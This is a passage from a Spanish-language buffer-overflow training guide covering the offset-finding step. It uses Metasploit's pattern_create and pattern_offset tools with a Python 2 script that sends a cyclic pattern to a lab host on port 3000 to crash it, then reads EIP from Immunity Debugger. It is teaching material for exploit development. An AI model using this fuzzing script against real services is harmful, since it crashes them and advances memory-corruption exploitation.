> For the complete documentation index, see [llms.txt](https://books.spartan-cybersec.com/cpics/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://books.spartan-cybersec.com/cpics/buffer-overflow/explotacion-del-buffer-overflow/finding-the-offset.md).

# Finding the Offset

Primero generas el patrón de la siguiente manera:

```bash
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3800
## EL valor 3800 es el valor del en donde crasheo (3500) mas 300 bytes mas.
output:
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9AAi2Ai3Ai4---RESUMED
```

```python
#!/usr/bin/python2.7
import sys, socket

offset = "RESULTADO DE COMANDO ANTERIOR"

while True:
        try:
                s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
                s.connect(('10.10.10.111',3000))

                s.send(('FUNCION /.:/' + offset))
                s.close()

        except:
                print "Error connecting to server"
                sys.exit()
```

Si crasheo automaticamente es porque esta bien el valor del patron generado con el Offset.

Ahora se debe utilizar dicho patrón anterior y **TOMAR el valor del EIP** obtenido en el Imunity Debugger para generar un nuevo patron de offset:

```bash
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 3800 -q 386F4337 #(EIP del Immunity Debbuger)
[*] Exact match at offset 2003
```

Guardar resultado del offset
